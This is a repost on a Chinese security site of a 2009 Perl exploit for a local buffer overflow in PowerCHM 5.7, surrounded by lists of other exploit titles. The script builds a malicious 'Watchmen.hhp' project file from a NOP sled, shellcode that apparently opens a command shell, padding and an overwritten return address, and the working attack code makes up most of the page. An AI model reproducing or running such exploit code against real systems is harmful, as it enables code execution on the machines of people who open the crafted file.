首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PowerCHM 5.7 (hhp) Local Buffer Overflow Exploit
来源:liquidworm gmail com 作者:LiquidWorm 发布时间:2009-03-30  

#!/usr/bin/perl
#
# Title: PowerCHM 5.7 (hhp) Local Buffer Overflow Exploit
#
# Summary: With PowerCHM you can create your CHM files
# automatically from Html Files (including .htm, .html
# and .mht), Text Files (.txt), Microsoft Word Documents
# (.doc) and Adobe Acrobat Document (.pdf).
#
# Product web page: http://www.dawningsoft.com/products/powerchm.htm
#
# Tested on WinXP Pro SP2 (English)
#
# Refs: http://www.milw0rm.com/exploits/8300
http://security.biks.vn/?p=365
#
# Exploit by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 28.03.2009
#

my $header="
 [OPTIONS]\n
 Compatibility=1.1 or later\n
 Compiled file=zero.chm\n
 Contents file=science.hhc\n
 Index file=lqwrm.hhk\n
 Binary Index=Yes\n
 Language=0x042F\n
 Title=\n
 Error log file=Errlog.txt\n
 Default Window=main\n\n
 [WINDOWS]\n
 main='',science.hhc,lqwrm.hhk,'','',,,,,0x41520,240,0x184E,[262,184,762,584],,,,0,0,0,0\n\n
 [FILES]\n\n
 [INFOTYPES]\n
 ";


my $sc ="\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45".
 "\xFD\x6D\xC6\x45\xFE\x64\xC6\x45\xF8\x01\x8D".
 "\x45\xFC\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";


my $bof = "\x90" x 568 . "$sc" . "\x41" x 400 . "\xe8\xed\x12\x00" . "\x42" x 500;

my $file = "Watchmen.hhp";
open (hhp, ">./$file") || die "\nCan't open $file: $!";
print hhp "$header" . "$bof";
close (hhp);
sleep 1;
print "\nFile $file successfully created!\n";


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PowerCHM 5.7 (hhp File) Stack
·glFusion <= 1.1.2 COM_applyFil
·Abee Chm Maker 1.9.5 (CMP File
·pam-krb5 < 3.13 Local Privileg
·My Simple Forum 7.1 (LFI) Remo
·Novell Netstorage suffers from
·FreeSSHd 1.2.1 (rename) Remote
·Wireshark <= 1.0.6 PN-DCP Form
·XM Easy Personal FTP Server <=
·Sami HTTP Server 2.x (HEAD) Re
·PhotoStand 1.2.0 Remote Comman
·Abee Chm eBook Creator 2.11 (F
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved